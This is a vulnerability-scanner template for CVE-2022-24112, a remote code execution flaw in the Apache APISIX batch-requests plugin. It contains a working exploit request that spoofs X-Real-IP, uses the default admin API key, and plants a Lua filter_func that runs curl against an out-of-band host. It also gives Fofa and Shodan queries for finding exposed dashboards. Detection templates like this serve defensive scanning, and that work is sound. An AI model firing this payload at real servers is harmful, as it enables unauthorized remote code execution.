CVE-2022-24112: Apache APISIX apisix/batch-requests RCE

id: CVE-2022-24112

info:
  name: Apache APISIX apisix/batch-requests RCE
  author: Mr-xn
  severity: critical
  verified: false
  description: |-
    Apache APISIX apisix/batch-requests plugin allows overwriting the X-REAL-IP header to RCE;An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.
    Fofa: title="Apache APISIX Dashboard"
    Shodan: title:"Apache APISIX Dashboard"
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24112
    - https://www.openwall.com/lists/oss-security/2022/02/11/3
    - https://twitter.com/sirifu4k1/status/1496043663704858625
    - https://apisix.apache.org/zh/docs/apisix/plugins/batch-requests
  tags: cve,cve2022,apache,rce,apisix,oast
  created: 2024/02/27

set:
  randstr: randomLowercase(6)
  oob: oob()
  oobHTTP: oob.HTTP
rules:
  r0:
    request:
      method: POST
      path: /apisix/batch-requests
      headers:
        Content-Type: "application/json"
      body: |
        {
          "headers":{
            "X-Real-IP":"127.0.0.1",
            "Content-Type":"application/json"
          },
          "timeout":1500,
          "pipeline":[
            {
              "method":"PUT",
              "path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1",
              "body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/{{randstr}}\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl {{oobHTTP}}'); return true end\"}"
            }
          ]
        }
    expression: response.status == 200 && response.body.bcontains(b'"reason":"OK"') && response.body.bcontains(b'"status":200')
  r1:
    request:
      method: GET
      path: /api/{{randstr}}
    expression: oobCheck(oob, oob.ProtocolHTTP, 3)
expression: r0() && r1()